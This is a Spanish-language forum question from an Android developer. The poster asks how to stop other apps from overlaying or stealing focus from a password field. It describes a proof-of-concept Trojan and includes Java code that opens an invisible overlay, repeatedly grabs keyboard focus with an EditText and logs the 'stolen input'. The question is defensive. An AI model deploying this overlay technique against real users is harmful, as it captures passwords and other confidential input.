Me gustaría comenzar por aclarar, mi pregunta no se relaciona con los ataques de TapJacking en Android y, a mi entender, filterTouchesWhenObscured no ayudará en mi caso.
Aquí está el escenario: Trabajo en una aplicación que tiene información confidencial almacenada en ella, que está encriptada localmente con una contraseña proporcionada por el usuario. Por lo tanto, cuando el usuario abre la aplicación, debe iniciar sesión escribiendo su contraseña. Si esta contraseña alguna vez fuera robada, comprometería toda la aplicación.
Mientras tanto, también he podido crear una aplicación al estilo de caballo de Troya que ha demostrado ser capaz de robar entradas de usuarios desatentos. La aplicación prototipo de troyano hace lo siguiente:
-
El usuario descargaría e instalaría esta aplicación en Google Play Store o la cargaría de lado. De cualquier manera, esta no es la parte importante.
-
El usuario abre la aplicación malvada con las fotos del lindo gato, y luego se aleja de la aplicación, dejándola en segundo plano pero sin cerrarla.
-
en Pausa, la aplicación maligna establece una serie de temporizadores durante un tiempo predeterminado en el que cada temporizador lanzará un servicio maligno. Una vez creado, cada servicio malvado generará una superposición de pantalla invisible que contiene un campo invisible de Texto de Edición que se enfocará programáticamente en él y mostrará el teclado virtual.
-
Si la sincronización se realiza correctamente, el usuario puede estar ingresando información confidencial, como su contraseña, en nuestra aplicación. Por lo tanto, el usuario puede hacer clic en la entrada de la contraseña en la aplicación, luego, al momento de ingresar su contraseña, se construye la superposición invisible y el intercambio de teclado se enfoca desde el campo de la contraseña que el usuario aún ve en la pantalla hasta el texto invisible que aparece en la pantalla. El usuario escribe su contraseña rápidamente fuera de la memoria muscular, luego pulsa Intro en el teclado para darse cuenta de que no han escrito nada en el campo de la contraseña. Molestos, vuelven a hacer clic en el campo de la contraseña y el malvado servicio tiene un disparo de ClickListener en la superposición invisible, lo que indica que es hora de irse y cierra el servicio. El usuario ahora tiene el control normal de su teléfono de vuelta.
Se ha creado un prototipo para la lógica anterior y se ha demostrado su éxito. Confía en la increíble suerte para obtener la sincronización correcta, pero para un vector de ataque de prototipo rápido desarrollado en menos de unas pocas horas, es increíblemente efectivo.
Aquí hay un código de ejemplo del prototipo de ataque:
final WindowManager.LayoutParams params =
new WindowManager.LayoutParams(0, 0,
WindowManager.LayoutParams.TYPE_PHONE, 0,
PixelFormat.TRANSLUCENT);
View floatyView;
params.gravity = Gravity.CENTER | Gravity.START;
params.x = 0;
params.y = 0;
FrameLayout interceptorLayout = new FrameLayout(this);
floatyView = ((LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE)).inflate(R.layout.floating_view, interceptorLayout);
floatyView.setOnTouchListener(this);
windowManager.addView(floatyView, params);
final EditText editText = (EditText) floatyView.findViewById(R.id.myEditText);
final ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
executorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
editText.requestFocus();
showKeyboard(editText);
}
}, 10, 10, TimeUnit.MILLISECONDS);
@Override
public boolean onTouch(View view, MotionEvent motionEvent) {
final EditText editText = (EditText) floatyView.findViewById(R.id.myEditText);
Log.d("EvilApp", "Stolen input = " + editText.getText());
windowManager.removeView(floatyView);
this.stopSelf();
return true;
}
Por lo tanto, con todo esto dicho, ¿hay algún medio confiable para decirle a Android que no puede permitir que otras aplicaciones superpongan la vista sobre su aplicación o un medio confiable para detectar cuándo otra aplicación roba el enfoque fuera de su aplicación?
¡Gracias!